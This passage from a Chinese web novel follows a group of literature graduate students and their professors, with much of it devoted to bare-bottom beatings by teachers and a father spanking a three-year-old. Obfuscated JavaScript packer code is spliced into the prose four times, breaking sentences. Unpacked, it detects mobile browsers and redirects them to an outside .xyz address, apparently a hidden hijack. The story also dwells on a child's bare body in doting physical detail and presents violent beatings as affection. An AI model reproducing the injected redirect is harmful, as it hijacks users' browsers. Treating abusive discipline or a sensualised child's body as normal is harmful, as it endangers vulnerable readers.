“哦哦哦哦老师,痛、痛!” 刘巍思拧了好一阵才放开,拽着他往订好的包厢去了。 包厢里是一张十人座的圆桌,但里面只有两个成年男子,和一对三四岁的孩子。 “巍思来了。”年长些的男人冲他招招手,“你们坐这边,那边,都行,随便。” 刘巍思没急着坐,扯着程映泽,给他介绍面前的人:“这是你……你……”你了半天,没说出话来,刘巍思也有点糊涂,“不是,他应该管你们叫什么呀?” “我比你大,他要叫我师伯。”年长的男人道。 刘巍思点点头:“对对对,这是你庄遂平庄师伯,这是你柏阅冬柏师叔,叫人。” 程映泽在外面还是很机灵的,忙鞠个躬,道:“庄师伯好,柏师叔好,我叫程映泽,你们叫我映泽就好。” 柏阅冬点了点头,又笑:“遂平就是占我们便宜,明明都是一届的。” 刘巍思指着柏阅冬身边的空座让程映泽去坐,自己绕到庄遂平那一侧坐了:“你还不知道他么,在纪老师那学会的耍无赖。” 庄遂平不应这话,扭头去喊:“青青,苗苗,刘叔叔来了。” 一男一女两个孩子笑着扑腾过来,一人一边往刘巍思身上蹭,一口一个刘叔叔,叫得不亦乐乎。 “刘叔叔,您好久都没来和我玩。” “刘叔叔,给你吃这个糖。” “刘叔叔,我爸爸昨天在家里说你坏话,我听见了。” “刘叔叔,爸爸打我了,你给我吹吹……” “刘叔叔,你什么时候去看我爷爷?” “刘叔叔……” “刘叔叔……” 两个孩子一人一句,各说各的,压根不用人回答,别说刘巍思,就连其他人都听不下去了。 “青青,”柏阅冬温柔地喊女孩子,“来爸爸这里。” “我不要。”柏青青远远地走开了,走到桌子对面,自己爬到椅子上坐了。 男孩子见了,也笑嘻嘻地跑过去,跟柏青青坐在一起,一人拿一双筷子玩。 “苗苗,”庄遂平语气沉沉,“不可以玩筷子。” 男孩子怯怯地看了爸爸一眼,把筷子放好了。 “你说他做什么?让他玩呗!”柏阅冬不甚在意。 “上次吃饭拿筷子敲碗,被爷爷骂得哭了一晚上,不长记性!” 苗苗很不服气,坐直了身体,梗着脖子道:“爷爷只是骂我,但是打了爸爸屁股!我看见的!” 柏阅冬和刘巍思不约而同大笑起来,庄遂平翻了个白眼,警告道:“你再说话,我现在就打你屁股!” 幸好服务员来上菜,吸引了孩子们的注意力,否则打屁股这个话题就没法停了。两个孩子坐得远,也不要人喂,大人们便将菜都转到他们面前,让他们先吃。 趁着孩子们吃饭的当儿,庄遂平瞟了一眼程映泽,附在刘巍思耳旁问:“他靠谱吗?” 刘巍思头也不抬:“靠谱啊!” 可两人一回头,就看见那靠谱的傻儿子晃着脑袋到柏阅冬跟前,过了会,又晃开,来回好几次。原来程映泽早就发现他这个柏师叔右眼不太对劲的样子,试了几次,发现柏师叔动也不动,只是用看傻子的眼神看着他。 “柏师叔,”程映泽有点不相信,“您看得见我吗?” 柏阅冬平静地喝了一口茶,道:“我只瞎了一只眼。” “哇!”庄遂平和刘巍思听得一头雾水,不知道这有什么好哇的,接着就见程映泽竖起了大拇指,“厉害!” 柏阅冬&庄遂平&刘巍思:“……” “真的,靠谱吗?”庄遂平忍不住再问了一次。 程映泽却不知道他在别人眼里是个什么样,兴奋地碰了碰柏阅冬,说:“师叔,那您岂不是,一目十行?” 柏阅冬愣了下,笑出了声:“是,一目十行。” 众人说说笑笑地吃了饭,程映泽就跑去逗小孩玩,三个大人凑一块小声嘀咕着刘巍思的傻儿子。 “年纪太大了,我怕你养不熟。”庄遂平道。 刘巍思不以为意,笑道:“得了吧,你到纪老师身边的时候年纪比映泽大多了,现在苗苗还不是管纪老师一口一个爷爷?” “那、那不一样,我看他那个傻……”庄遂平硬是咽下了“傻不拉叽”几个字,“他那个健康快乐的样子,就不像什么长情的人。” 柏阅冬笑笑:“你操心什么?反正碰上白眼狼也是巍思吃亏。严老师见过了?挺喜欢他的吧?” 刘巍思点点头:“我老师就喜欢这种傻不拉叽的。” 柏阅冬笑个不停,庄遂平翻了个白眼,追问:“那罗毓怎么说?” “罗老师说他饭做得挺好。” “算了算了,随便你,哪天被抛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725783|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃了别来跟我们唉声叹气的。” 没一会儿,程映泽带着俩小孩玩到老师跟前了,还拼命逗:“快点,叫叔叔!” 刘巍思一巴掌拍在他背山,喝道:“叫什么叔叔?叫老了!” 程映泽看着老师,笑嘻嘻道:“但是这样辈分就大了啊!您说是吧师兄?” 柏阅冬快要笑死了,刘巍思又抽他一巴掌:“没个正经样,欠揍!” 庄遂平无奈地摇摇头,问:“映泽,你说以后你老师老了,怎么办?” “老了,”程映泽耸耸肩,两手一摊,“就,死了呗!” 刘巍思捂脸。 苗苗在后头跟着说:“我爷爷也老了,快死了。” “庄禾风!”庄遂平怒喝一声,吓得小孩一抖,“哇”一声哭出来了。 柏阅冬生怕他在这里就要打孩子,忙拉住他:“童言无忌童言无忌,你别吓着他。”说着冲苗苗招手,“苗苗,到叔叔这里来。” 苗苗才不去,柏叔叔离爸爸那么近,可是被爸爸盯着,他也不敢乱走,只在原地“呜呜呜”地哭。 程映泽猛地回头,做了个大鬼脸,柏青青“哇哈哈”地大笑起来,连带着苗苗也笑了,气一出,冒了个鼻涕泡。 程映泽这才拉了小孩的手给他擦眼泪,苗苗抽抽噎噎的,说:“我不想让爷爷老。” “这句话有魔法哦,你回去告诉你爷爷,你爷爷就不会变老了。” “真的吗?” 程映泽认真地点了点头。 苗苗用手背揉揉眼睛:“那我每天都跟爷爷说。” 把人家小孩弄哭了,刘巍思还挺不好意思,拍了拍傻儿子的脑袋,嗔怪道:“你说你,好端端的出来吃饭,也不知道说几句好听话。” “老师想听我说好听话,我可以说一千句一万句,但那是嘴巴和耳朵的交流,是很廉价的。”程映泽说着看了一眼师伯师叔,“老师用心来听,才会听见我心里的话。” 大傻儿子,还用心听呢,那点心思都写在脸上了! 刘巍思看着他,忽然用力揉了一把他的头发。 一顿饭,至晚方散,回家的路上,刘巍思顶着寒风瑟瑟发抖,颤声问:“程映泽,你说说,你心里的话是什么?老师看看我听见的和你说的是不是一回事?” 程映泽在老师身后跑来跑去,笑嘻嘻道:“我也不想让老师老。” “但如果有一天老师真的老了……” “我一定会想办法……” “不让我师母老……” “如果你们两个都老了……” 程映泽忽然不说了,也不跑了,跟在老师身后踩着老师的脚印一步一步慢慢走。 刘巍思笑笑,问:“我们两个都老了,就怎么样?” 程映泽伸手从身后环住老师,说:“那我也要老了。” 刘巍思笑出了声,可眼眶还是湿了,拍拍小孩的手背,说:“那为了让你长命百岁,老师得一直年轻着呢!” “老师,如果您骗了我,下辈子会当我的学生哦!” “得寸进尺!”刘巍思把人从身后扯出来,狠狠揉乱了他的头发。 64.第 64 章 “你有什么要解释的吗?”纪慎往椅背一靠,两手搭在扶手上,很放松的坐姿。可是庄遂平却无论如何都放松不下来。 这个办公室对于他来说,并不是放松的地方。 “好,你不解释,那就让我来定义。”纪慎对他,再挤不出一点耐心,“你不聪明,学习的事情做不来就算了,待人接物上没办法撑场面我也不勉强,可是现在,你连最基本的态度端正都做不到,你觉得自己配当我的学生吗?” 不配。 庄遂平脑子里蓦然浮现出两个字,紧接着各种嘈杂的声音都出现了。 “你也去?也不看看自己配不配?” “早说了不可能的,你配得上吗?” 伴随着一句句讽刺的问话,庄遂平脑海里出现的是父母冷漠的面容,厌弃的目光。但是他也终于明白了,他的确是配不上的,他的父母家人只是比他更早看清了事实和命运。 纪慎的声音再次响起:“师门会议是一周之前告诉你们的,你整整一周,没有准备好自己要说的那几句话,甚至还没有睡醒。我真的很难接受自己教出这样的学生。” 那该如何呢?逐出师门?庄遂平压着脑袋,忽然想到了两个字。 退学。 但显然纪慎还没想到这一步,他不是一个半途而废的人,学生虽然难教,但终归是可以教的。 纪慎解开右手腕的纽扣,将袖子往上折了两折,露出结实的小臂。庄遂平看着老师慢条斯理的动作,屁股隐隐作痛。 没有指令,只有戒尺敲在桌边的“嗒嗒”声,庄遂平浑身一颤,慢吞吞走了过去。 在庄遂平脱裤子的时候,纪慎道:“该教的我都教过你了,这次没有什么好说的,是对你的惩罚,你不用再认错再保证什么,好好受着,好好反省就行。” 庄遂平将裤子褪到大腿,两手撑在桌上,闷声道:“是。” 但戒尺没有落下,纪慎用戒尺一角点了点他的大腿根,不满道:“学习有学习的态度,受罚有受罚的态度,屁股撅起来,不要躲着。” 主动迎接惩罚和疼痛,这是违反本能的事情。但在纪慎眼中,这才是知错了的表现。 身后两团肉不由得紧了紧,庄遂平深深呼吸,腰间用力,把屁股往后送。其实他不知道这样的姿势能不能让老师满意,只是尽力去做。 他实在是太笨了。 庄遂平没再听到老师的声音,过了两秒,他敏锐地听见了身后微弱的风声,紧接着清脆的责打声和疼痛便一齐炸响,激得他手肘一弯,屁股也下意识地往回逃了。 跟以往戒尺“啪啪啪”抽下来不同,纪慎没有紧追着打,而是又点了点他的大腿,提醒他摆好姿势。 庄遂平后知后觉,重新撅好了屁股。 纪慎虽打得重,但戒尺着肉面积就那么一点,一般来说,三四十下庄遂平都挨得过去。可是身体上的疼痛却唤醒了他某些沉睡已久的记忆。他想起小时候过年,家里好不容易换来了两斤白面,一家人围坐一圈包饺子。弟弟偷偷摸摸吃掉了一盘饺子,母亲问起,弟弟指着他说是二哥偷吃的,于是母亲劈头盖脸就骂,他小声地辩解,不是我。母亲嘶声尖叫,说你弟弟还这么小,怎么可能会说谎。然后父亲就提着扫把进来了,兜头就抽,他一边挨打一边躲,父亲追着打,从屋里打到屋外。他避无可避,只能捂住脸蜷在地上,把脊背和屁股送出去挨打。“噼里啪啦”的抽打声中,他听见别人家温馨的欢声笑语。 后来弟弟就学会了,不管做了什么事,都可以推到二哥头上。甚至他都成年了,在父亲不开心的时候,弟弟还会说,要不打二哥出气吧。 庄遂平分不清他是说笑还是认真。 恢复高考后,他连续两年都参加了高考,但是没有上,又埋头苦读两年,终于离开了他的家,终结了噩梦一样的生活,但是…… 但是现在,他有了新的噩梦。 庄遂平看向眼前熟悉的办公桌面,泪水忽然模糊了视线。身后戒尺不紧不慢地落下,抽在他结实的肉团上,把整个屁股都染成了红色,他没法反抗,只能卑微地一次次抻直大腿,把屁股撅起来,让老师打得更顺手。 他没有退路了,一旦他离开,就真的无处可去。 想到这,庄遂平的眼泪便滴了下来,也不知怎么的,往常都可以控制的,但是这一次眼泪却跟掉线的珠子一般,“啪嗒啪嗒”砸在光滑桌面上,过了会,哭声也跟着微弱地流泻,并渐渐地在戒尺着肉的间隙钻进纪慎的耳朵。 纪慎眉头一皱,非常不悦。他不喜欢学生哭,况且是在受罚的时候,大男人哭成这样,难道是冤打了他吗? “你哭什么?” 庄遂平忙抬手擦了眼泪:“对不起,老师。” 才打了五六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751621|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十下,往日的一半数目还不到,就在这里委屈吗?纪慎轻笑一声,问:“你压根没有反省,是不是?” 庄遂平的眸中顿显惊恐:“老师,我……” “戒尺还是太轻了,”纪慎掂了掂手里的工具,把它放在桌上,“挨多了,你也就不放在心上了。” 怎么会呢?每一次都打得他走路都走不稳,怎么会不放在心上呢?庄遂平感受着身后的一片热辣,不知道接下来老师要如何教训他,怕得两腿直颤。 他只听见些窸窸窣窣的声响,便听老师喝道:“撅好!”他忙不迭撑好,生怕晚了一秒老师就会更加生气。 “咻啪!”破风声连着抽打声,庄遂平被油泼似的剧痛逼得惨叫出声,眼泪再次汹涌而出。 “撅好!” 庄遂平强忍着疼痛和恐惧,再次撑好了。这熟悉的疼痛他挨过一次,是皮带。 纪慎手中握住搭扣一端,缠了好几圈,留出不足手臂长度,蓄足力气,高高扬起,“咻啪”一声抽下!只见学生通红的屁股上“唰”地添了一道红痕,两腿一弯,姿势全变了,立刻又喝道“撅好”,如此反复抽打教训。庄遂平哭叫连连,他却置若罔闻,只愤怒他不知反省,一味哭痛,简直没有出息! 若是如此怕痛,何必来他这里读书?! 只是在纪慎一下下责打庄遂平的时候,他并没有意识到,他其他的几个学生,并没有挨过他的教训。 庄遂平一连挨了四五十下,简直比挨两百戒尺还要疼,最后屁股根本撅不起来,只好哭着哀求:“老师、老师……对不起……不要……不要……啊!” “求我不要有什么用?自己怎么不知道长进?我怎么就收了你这么一个……” “不要,老师!我错了,我再也不敢了,老师饶了我!” “闭嘴!趴好!屁股给我撅起来!” 庄遂平手臂撑不住,这会已是整个人都趴在了桌面上,肿胀的屁股向桌角歪着,不愿意再承受一点疼痛。 纪慎耐心尽失,揪着他往桌上一按,让屁股顶在桌子边缘,扬起皮带就“啪啪啪”抽了下去,庄遂平疼得一边哭喊一边扭动,脸面全无,狼狈不堪。 纪慎全然不顾学生如何,泄愤一般连续抽打了三十多下,打得手臂酸软才停下。那会庄遂平的屁股大片紫红,多处破皮渗出血丝,他懒得看,只让他滚起来,出去。 65.隔辈亲[番外] 纪慎刚到楼梯口就听见小孩子的哭声,“哇哇哇”的,一听就是他的好大孙。 纪慎如今六十多岁了,系主任的职务辞掉了,本科生的课不上了,就连研究生也不带,只指导几个博士生,有空就来逗孙子玩,偶尔顺便收拾一下好大孙过分严厉的父亲。 纪慎轻车熟路掏出钥匙开了门,还没换鞋就问:“苗苗怎么了?” 三岁多的小男孩哭着捂住自己的小屁股,“呜呜呜”地告状:“爷爷救救苗苗,爸爸打苗苗,苗苗痛痛。” 庄遂平坐在沙发上,见老师来了也不招呼,仍严厉地盯着小孩:“爸爸为什么打你?爸爸打你你知道痛,那你怎么打青青?!” 青青是柏阅冬的女儿,两个小孩同一年出生的,前后只差一个月,从小就一起玩,三四岁正是大人拉不住的年纪,前一秒还说着不能打人,后一秒就能把人推出去一个大跟斗。今天俩小孩本来在草地上爬得好好的,后来不知要抢个什么东西,青青打了苗苗手背一下,苗苗立刻一个耳刮子往女孩子脸上抽,青青当场“哇”一声哭了。 然后庄苗苗就被逮回家打屁股了。 纪慎换了拖鞋走过来,跟庄遂平隔着一小段距离坐下了,拍拍手:“苗苗过来,爷爷看看。” 苗苗想也不想,提着裤子,迈着小短腿就往爷爷那里去了。 庄遂平是过苦日子长大的,到了自己养孩子,不愿意将就,什么都给最好的。庄禾风一个男孩子,整天抹得香香的,牛奶一杯一杯罐,皮肤又白又嫩,比青青还精致。就连屁股上的两团肉,也是滑腻非常,跟嫩豆腐似的。 只是方才挨了爸爸的竹尺,屁股上一片绯红,如同清晨的云霞,爷爷大手摸上去,还能触摸到一阵温热。 “苗苗怎么欺负人家青青了?” 苗苗娇气得很,边哭边告状:“青青先打我,打我手,”一边说还一边用自己的右手打了一下左手,给爷爷生动演示,“我才打她的。” “那她怎么打你了呢?” “她想抢铲子,抢不过我,就打我。” 一个塑料小沙铲,还是人家青青带出来的,说好了一人玩一会的,结果到了苗苗手里他就舍不得了,这才抢了起来。纪慎大约知道小孩子嘴里没有什么真话,听听就过去了,安慰道:“没事没事,下次她要就给她,我们苗苗是男子汉,不跟别人抢东西。” 苗苗小脸上挂着晶莹的泪珠,委屈巴巴地点了点头。 但事情远没有结束,庄遂平见小孩不哭了,手中的竹尺敲了敲茶几:“过来。” 苗苗又“哇”一声哭了。 纪慎忙把人抱进怀里,一下下轻轻拍着背:“你非要打他吗?小孩子打几下就行了,他都吓哭了。” 庄遂平面无表情,过了好一会儿才道:“老师以前,不是这样对我的。” 纪慎一哽,没话说了。庄遂平读研的都前一年多时间,他快把人逼疯了,后来哄了两年有余才让人重新叫他一声老师。虽说现在也没什么隔阂,但庄遂平一提从前,纪慎就永远理亏。 “好,你要打,给你打。”纪慎说着就要把孩子放下,庄苗苗哭得更厉害了:“不要!爷爷不要!苗苗害怕!” 纪慎哪里放得下手?又抱着哄了起来:“不怕不怕,苗苗不怕,不打不打,爸爸不打。” “不,爸爸要打。”庄遂平一点面子都不给,“庄禾风,马上过来。” 苗苗“呜呜哇哇”地哭,眼泪淌了一脸,拼命扒在爷爷身上,可是爷爷的手还是一点点送了,把他放在地上。 苗苗一站下来,裤子就跟着掉到了脚踝,两条粉粉嫩嫩的腿跟莲藕一样,叫人怜爱不已。可是亲生爸爸没有内心毫无波动,板着脸道:“过来。” 苗苗一抽一抽的,还知道要先提裤子,才一步一步走到爸爸跟前,腰一弯就趴在了爸爸大腿上,奶声奶气道:“爸爸,轻轻打,苗苗痛痛。” 一看就是经常挨打。 纪慎欲言又止,止又欲言,孩子屁股还粉着呢,非得打么? 庄遂平看了老师一眼,似乎知道老师想说什么,故意问:“苗苗,要打多少下?” 苗苗撅着嘴回答:“打十下,轻轻打。” 庄遂平看着老师,仿佛在说,老师还不如苗苗。 纪慎在他这里吃尽了瘪,扭过头去不看了。 可纵使不看,也能听到声音,竹尺轻薄,打在皮肉上,很脆的一声响,应该没用多少力气,但苗苗还是“哇哇哇”大哭起来。 与其说是疼的,不如说是怕的。 庄遂平在物质上给孩子很多,但管教也很严,每次孩子犯了错,无论大小,一律要脱了裤子用竹板子打屁股。像今天这样打人,就算大错,是要打二十板子的,爷爷来之前已经打了十下,中间训话呢,才有了方才的插曲。 现在还要打十下,庄遂平搂着孩子,只用四五分力不轻不重地抽下,虽然苗苗每次都疼得大哭,但屁股上也只是一团浅浅的红色。 孩子太小了,不可能真的重打他。 挨完十板子的苗苗立刻哭着让爷爷抱,纪慎心疼得一跳一跳的,忙抱了孩子哄:“不哭不哭,我们苗苗最勇敢了,爷爷最爱苗苗了。”一边哄一边在屋里走来走去,上上下下地晃着。 庄遂平收了竹尺,问:“老师过来,有什么事吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751935|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 除了看苗苗,纪慎还能有什么事?这个严厉了一辈子的老教授,跟儿子不熟,跟学生闹了好几年,以为自己对这种天伦之乐一点也无所谓,可等到苗苗出世,他才发现自己还是很渴望天伦之乐的。 庄苗苗实在太可爱了,连哭都哭得比他爹讨人疼。 可纪慎又不想在庄遂平面前表现出自己这么柔软的一面,瞪了他一眼:“没事我就不能来吗?” “我只是担心老师太忙,苗苗缠人,总是这样缠着老师也不好。” “哪里不好了?”纪慎把小孩抱得更紧了,“我哪里有什么要忙?再说了,苗苗乐意缠着我,你想怎么样?” 苗苗似乎听懂了爸爸和爷爷的对话,忽然两手抱住爷爷的脑袋,往爷爷脸上“吧唧”了一口:“苗苗要爷爷,苗苗要爷爷!” 其实庄遂平是教苗苗叫师爷的,但是苗苗学说话的时候都叫叠字,一声爷爷叫出去,纪慎简直乐开了花,便一直自称爷爷了。 后来庄遂平试图让苗苗改口,都被纪慎打了回去。 “好,爷爷也要苗苗,爷爷带苗苗去买冰棍买西瓜买糖葫芦吃,好不好?” “老师……” “好,苗苗要吃,苗苗要吃很多很多。” “好,苗苗吃什么爷爷就给买什么。” “老师……” “爷爷,带爸爸去吗?” “苗苗想不想爸爸去?” “苗苗不想爸爸去,但是苗苗怕爸爸生气。” “那怎么办呢?” “爷爷可以打爸爸屁股,爸爸就不能去了。” 庄遂平连连翻白眼,叫了好几声老师都没人应,分明就是故意忽视他,眼见着苗苗说出大逆不道的话了,纪慎竟也不恼,只是笑着看向庄遂平,好像在说,我大孙子就是聪明。 “那爸爸是不是有点可怜?又不能跟我们去吃东西,又要被打屁股。” “爸爸说爱苗苗才打苗苗,爷爷也是爱爸爸才打爸爸啊!” 苗苗童言童语,却让庄遂平和纪慎都不好意思了,他们之间的关系确实已经超过了普通的师生,庄遂平比纪沅更像纪慎的亲儿子,但是爱这样的字眼,却从来没有人提过。 “爷爷,苗苗说得对吗?” 纪慎不知该如何回答,好一会儿才猛地亲了一下孩子,道:“爷爷最爱苗苗了。” “嘻嘻,苗苗也最爱爷爷,那谁最爱爸爸呀?”苗苗歪着脑袋想了一下,不知怎么的有了答案,“苗苗知道了,柏叔叔最爱爸爸!” 纪慎被他逗笑了,见孩子再没什么情绪,便带他洗脸去了,一路上还应和着:“对,苗苗最聪明了!” 66.第 66 章 庄遂平又做梦了。 他梦见第二年高考没考上,失魂落魄地回到家里,父亲一边骂他不配做这种飞上枝头变凤凰的梦一边提了棍子要打他。他被按在宽大的桌面上,眼睛近距离地盯着桌面上的暗纹时突然清醒地发觉那是纪慎的办公桌,可一回头,要打他的人还是父亲。 他被剥了裤子,被迫高高撅起屁股,棍子从高处落下,“咻啪”一声,却变成了咬人的皮带。 “呜……” “你还好意思哭?你有脸哭吗?要不是你态度不端正怎么会考不上?你配上大学吗?你配当纪慎的学生吗?” 随着一声声责骂,身后的刑具一次次落下,有时是贴肉的皮带,有时是清脆的戒尺,有时是钝重的棍子,不变的是屁股上的疼痛,一如既往让他忍不住哭出来。 “呃啊……不要……不要打……”庄遂平疼出一身冷汗,拼命挣扎着要躲开,可是好像很多人按住了他,让他只能死死地贴在那张桌子上。 按住他的人是谁? “放开我,放开我!不要!不要!” 左边传来弟弟的声音:“二哥,你偷吃了饺子,爸要打你,我也没办法。” 右边却是盛超带着笑道:“师兄,为了能写出论文好好毕业,你就挨顿打吧,屁股撅起来,不然老师要生气了。” 腰上被拍了拍,竟是刘巍思在他身后:“遂平,虽然你比较差,但也不能落下我和阅冬太多,挨打是应该的,你要主动点去找纪老师挨打。” 还有师兄,突然出现在自己面前,弯腰笑道:“师弟,老师打你是喜欢你,打你越重越喜欢你,你不是最想要老师喜欢你吗?还不快点求老师打你?” 这些人怎么会一起出现的?庄遂平茫然地望向四周,忽然看见了更多人,母亲、大哥、妹妹、秦老师、严老师、童院长、博士师兄、姜新宇……各种各样的人,挤满了他们家破旧的房屋。 每个人的嘴巴都在动,每个人都在说话,每个人都在叫他。 “遂平。” “小庄……” “庄遂平!” 他们说什么?听不见,听不见! “别说了,我听不见!” “裤子脱了,要我说几次?!” “屁股抬起来!” “打一百。” “再打!” “你根本没在反省!” “打太轻了,你是得不到教训的!” 各种声音充斥着耳朵,庄遂平只觉得脑子都要炸了,“啊——”一声喊出去,那些人一个个消失了。 然后他在寂静之中听见了纪慎的声音:“庄遂平,你就是这样,别人都告诉你要怎么做了,你却不听。” “老师……”庄遂平眼泪落了下来,“放过我吧。” 纪慎摇摇头,道:“我不会让自己的学生不成材的,你再笨再不愿意学,我也不能放任不管,打屁股而已,我还是有这个时间和力气的。” 庄遂平一听这个,惊恐地摇了摇头:“不要,老师,已经打过了!不要打!” “刚刚打的太少太轻了,还要打,把屁股撅起来。” “不要,老师!我不学了,我不读研究生了,老师不要打我!” 纪慎的脸突然扭曲起来,怒喝道:“闭嘴!”话音一落便“噼里啪啦”地抽打起他的屁股来。庄遂平不知道老师是用什么打人,只觉得屁股撕裂一般疼痛,他“呜呜呜”地哭起来,一声声叫着不要。 不要。 不要! 不要…… 其时已是凌晨两点多,柏阅冬还在台灯下翻资料,寂静之中忽然听见含糊的声响,扭头往庄遂平那边瞧了一眼,结果听见他动静越来越大,似乎是在挣扎。柏阅冬放下手里的笔,起身走到他床边,轻声喊:“遂平,遂平……” 庄遂平闭着眼睛,脑袋却扭来扭去,嘴里喃喃叫着不要,整张脸上都是汗。柏阅冬意识到他又做噩梦了,扶着他的肩膀晃了晃:“遂平,醒醒!做梦了!” 庄遂平猛然睁开了眼睛,在昏暗的光线下喘息了许久,才慢慢反应过来刚刚那是梦。看着眼前人,庄遂平有些抱歉:“阅冬,我又影响你了。” “我还没睡呢!你又做噩梦了?” 庄遂平点点头,抹了一把头上的冷汗,想想还觉得后怕。 “没事的,梦都是反的。” 庄遂平没被安慰道,也不想睡了,问:“你在做什么?我帮你?” “好啊!” 柏阅冬这段时间都在做元好问词作内容的分类,刚把思路捋出来,就被秦昭阳叫去了,肖晩亭也跟在一旁听。 秦昭阳对柏阅冬的工作成果还是很满意的:“就这么分,这两天就可以写出来了,写完先把艺术特色也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765641|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概括出来,我们先形成初稿,后面再慢慢改。晩亭,你那部分怎么样了?” 肖晩亭那部分相对来说简单很多,就是提炼柏阅冬那篇论文的要点,用更加通俗易懂的语言表达出来。她这次也带着自己的稿子过来了,递过去给老师看。 肖晩亭的语言功底很扎实,语言流畅,没什么病句和用词不当,秦昭阳点点头:“差不多了,你先收着,到时候你师兄一块整合。” “好的,老师,等会要上纪老师的课,我先过去了。”肖晩亭起身告别,离开了老师的办公室。 一走到走廊上,正巧碰到姜新宇从校对室出来,也是要去上课,便追了上去:“一起?” 姜新宇也笑,问:“又去秦老师那里聊论文了?” “嗯,”肖晩亭点点头道,“我的已经写完了,没什么问题,等师兄和老师写完,再给他们一起整合修改就好了。” 姜新宇瞧见她怀里的东西,问:“可以给我看看吗?我想学习一下。” “好啊,没问题。”肖晩亭说着就把书里夹着的几页纸递了过去,“你顺便帮我看看有没有什么要改的。” “秦老师都说没问题了,我哪里能看出什么问题?”姜新宇接过稿纸,和女孩子一块上课去了。 秋日还算平静,柏阅冬和刘巍思忙着写论文,新生上课读书,帮着做点誊抄校对的工作,盛超的文章投出去,很快被录用了,纪慎在众人面前不住夸赞,一转头,又看见庄遂平耷拉的脑袋和下垂的嘴角。 所有人都太忙了,没发现庄遂平已经很久没笑过了。 到了深秋,柏阅冬总算把他师父交代的内容写完,开开心心地回到校对室,把写满了修改意见的文章往桌里一塞,翘班去了。 天气越来越冷,大概四五点左右就明显降温,忙碌了一下午的学生肚子咕咕叫起来,校对室里越走越空。庄遂平早习惯了最后走,可到了六点多,一抬头发现还有人。 “你怎么还在这里?” 留下的是姜新宇,他还在抄文献:“这不是还有好多吗?每天多抄一点,争取这个学期给秦老师抄完。天晚了,庄师兄先走吧,等会我来锁门。” 庄遂平点点头:“那我走了。” 天已经全黑了,走廊上灯,圈出一片片昏黄的温暖。寂静的校对室里,姜新宇一步步走到门口处,“咔哒”一声关上了门。 67.第 67 章 眨眼之间,冬去春来,日历被朔风翻过了又一年。新学期来临,回家过年的学生们带着家乡特产风风火火回来了。柏阅冬照旧去给他师父请安,可笑脸还没拉出来就被秦昭阳的冷脸吓着了。 “师……师父,谁又惹您老人家不高兴了?”柏阅冬做足样子,进办公室关上了门。 秦昭阳原本歪在办公椅上,见他进来,揉揉太阳穴,沉声道:“你过来。” 柏阅冬颇为疑惑,却还是听话,几步走到师父跟前:“师父。” 秦昭阳手指在他腰间点了点:“皮带,给我。” 柏阅冬略一低头,立刻知道师父要做什么,震惊不已:“师父,我这才刚来,哪里又惹您生气要挨打了?” 秦昭阳两侧咬肌一动,目光如隼:“别逼我抓你。” 柏阅冬虽然经常挨打,却少听到师父这么严厉的语气,心想自己定然是犯大事了,可是他寒假人都不在,能犯什么事?也就偷偷跟辰辰打过两次电话,应该没被发现吧?就算知道了也不至于这么生气啊! 柏阅冬脑子转得飞快,手也没闲着,不自觉地解开了腰上的黑色皮带,带着一箩筐的问号把皮带递了过去。 天气还很冷,办公室挡不住寒气,柏阅冬一想到要脱裤子挨打,还没担心屁股疼呢,倒先想着冷了,一边打冷战一边不情不愿地往下扯裤子:“师父,冷死了。” 秦昭阳却不理会他,柏阅冬自讨没趣,干脆把裤子全褪到大腿,两手撑在桌面上,摆好挨打的姿势。 可是秦昭阳一反往常,竟按住他的腰,把他整个人都按在桌上,上半身紧紧贴住了桌面。 柏阅冬第一回还没挨打就这样,左脸贴着冷冰冰的光滑桌面,两手摆在脑袋两侧,跟投降似的:“师、师父……啊!” 柏阅冬还没来得及说这样不舒服,屁股上就挨了一下重重的皮带,油泼似的的痛感瞬间盖住了其他的感受,一瞬间他不冷了也不疑惑了,只剩火辣辣的疼痛在叫嚣。 